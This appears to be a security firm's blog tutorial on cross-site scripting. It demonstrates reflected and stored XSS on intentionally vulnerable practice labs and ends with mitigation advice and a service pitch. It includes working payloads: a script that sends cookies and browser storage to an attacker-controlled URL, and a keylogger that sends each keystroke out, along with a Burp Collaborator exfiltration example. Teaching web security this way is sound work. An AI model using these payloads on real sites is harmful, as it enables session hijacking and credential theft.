What is Cross site Scripting?

Cross-Site Scripting (XSS) attacks are injection attacks in which malicious scripts execute in otherwise trustworthy and innocuous websites. Cross-Site Scripting attacks occur when an attacker uses a web application to send malicious code to a particular end user, usually in the form of a browser-side script.

The weaknesses that allow these attacks to succeed are common and can be found anywhere a web application uses user input in its output without validating or encoding it.

There are three main types of XSS attacks that can occur on a web application.

• Reflected XSS
  • Reflected Cross-Site Scripting gets it’s name because it is reflected off a web server. This can occur via an error message, search results or some other method in which input is sent to the server then returned back to the user in some way.
• Stored XSS
  • Stored Cross-Site Scripting attacks are those in which the injected script is held on the target servers indefinitely, such as in a database, a message board, a comment area, and so on.
• DOM XSS
  • JavaScript takes data from an attacker-controllable source, such as the URL, and transfers it to a sink that supports dynamic code execution, resulting in DOM-based Cross-Site Scripting vulnerabilities. (This is harder to explain)

Now we have definitions for each type, let’s take a look at some examples of XSS.

What is Reflected Cross Site Scripting?

In this example we are using the OWASP Juice Shop. This is a purposefully vulnerable web application that contains a plethora of security vulnerabilities. It is perfect for the budding penetration tester to practice their skills, anyway, swiftly moving on…

The section of the website which is vulnerable is the ‘track-orders’ function. In the below image, we have inserted the following JavaScript code.

Which results in the following alert() box popping.

<IFRAME SRC="javascript:alert('This is reflected XSS');">

This is a good example of reflected Cross-Site Scripting. When we insert some malicious code into the ‘track-orders’ function it reflects back off the server.

Stored Cross Site Scripting vs Reflected

Stored and reflected Cross-Site Scripting (XSS) are two types of XSS vulnerabilities. Stored XSS, also known as persistent, happens when an application stores malicious input from an attacker in a persistent manner like in a database, in a forum post, or in a comment field. What makes it dangerous is that the payload is not immediately returned to the browser and can potentially affect other users when they view it at a later time. On the other hand, reflected XSS, also known as non-persistent, occurs when a web application directly includes user input in its responses. The malicious script is typically embedded in a URL that reflects the input from a user’s request back to the user’s browser. The script gets activated only when the user interacts with the application by clicking on a manipulated link or submitting a form. Unlike stored XSS, the impact of a reflected XSS is limited to individual users and requires direct interaction.

Stored Cross Site Scripting

In this example, we will be using portswigger’s web security academy as our vulnerable example. This lab contains a blog post that allows the user to submit a comment. The JavaScript code we will be submitting to the blog’s comment section enables us to actually steal session cookies. This becomes possible when the user views the page after we have placed our malicious code into the comment section.

Let’s take a look at the blog page comment section.

It’s pretty standard stuff. We can see that the blog allows for the user to submit a comment. Now obviously we won’t be telling the writer what a great piece it was, instead, we will be submitting some malicious JavaScript code to steal the authentication cookies.

The malicious code:

Wait what is going on here? The code itself is simply instructing the browser to grab the authentication cookies and post them to the following URL:

https://zbe8lhh6m7rzfvzoijrkei6vjmpcd1.burpcollaborator.net

This is a URL that we control, therefore when the user views the blog page. The malicious code will grab the authentication cookies and post them to us (It is worth noting that the burpcollaborator tool is only available to Burpsuite Professional users).

Let’s now we have the concept down, we can submit our comment.

Request:

Response:

Great, now we have the malicious code on the site. We simply wait for anybody to view the blog……okay that’s enough time.

Around a minute or so later. We received a request to our burp collaborator tool. Now it is absolutely critical to understand this is an intentionally vulnerable lab, which is programmed to act as though a person has viewed the page. However, the concept and method is exactly how an attacker would orchestrate this type of attack. Let’s take a look at the HTTP request sent to it.

As suspected. A victim viewed the page and as a result, a request was made to the collaborator tool containing the session cookies of the person viewing the page. Just to clarify, this request will be made by every person viewing the page. Each time this happens, the JavaScript payload will execute, and the cookies will be sent to the collaborator instance.

secret=KsM3VgEqXthfWYMjpW7iMJXqCMl1IqaH; session=Zw6ttoAstEtZhRMjO6LjVp7fmC0oIkLC

Who knew hacking was so fun.

Examples of Cross Site Scripting

Cross-Site Scripting is a dynamic attack and can be used in many different ways. One of the most effective ways this is used by attackers is in stealing users’ session tokens allowing an attacker to take over a user’s authenticated session on a website. Session Hijacking may not always be possible in this case it is not uncommon to set up phishing attacks or keyloggers in order to gain access to sensitive information or a user’s password.

Example Session Hijacking Cross Site Scripting Payload:

"'/><script>var c=document['cookie'],LS={},i=0,l=localStorage['length'];for(;i<l;i+=1)LS[localStorage['key'](i)]=localStorage['getItem'](localStorage['key'](i));var SS={},i=0,l=sessionStorage['length'];for(;i<l;i+=1)SS[sessionStorage['key'](i)]=sessionStorage['getItem'](sessionStorage['key'](i));var d={'cookies':btoa(c),'localStorage':btoa(JSON['stringify'](LS)),'sessionStorage':btoa(JSON['stringify'](SS))},x=new XMLHttpRequest();x['open']('POST','https://***YOURURL***',1),x['send'](JSON['stringify'](d));</script>

Example Keylogger Cross Site Scripting Payload:

"'/><script>document.onkeydown=function(e){var a=e.key,b=new XMLHttpRequest();b.open("GET","https://***YOURURL***"+"?key="+btoa(a),!0);b.send()};</script>

How is Cross Site Scripting Mitigated?

The following advice aims to be as general as possible. Preventing XSS issues can be both trivial, and complex. We highly recommend you take a look at the advice from OWASP on the matter. Details are provided at the bottom of this post

Preventing Cross-Site Scripting general guidance:

• Filter input are the point in which it is recieved.
• Encode data on output.
• HTTP Response Headers can be used as a medium of preventing XSS. Use the Content-Type and X-Content-Type-Options. These will ensure that browsers only interpret the results as you intended.
• Finally, use the CSP Header (Content-Security-Policy). You should use Content Security Policy as a last line of protection to mitigate the seriousness of any remaining XSS vulnerabilities.

OWASP Cross-Site Scripting prevention guides:

• XSS (Cross Site Scripting) Prevention Cheat Sheet
• DOM based XSS Prevention Cheat Sheet
• Data Validation

If you are concerned about security vulnerabilities in your web application. We can help with that. Our Web Application Penetration Test is conducted to the OWASP standard for web application penetration testing.

Contact us to find out about this service.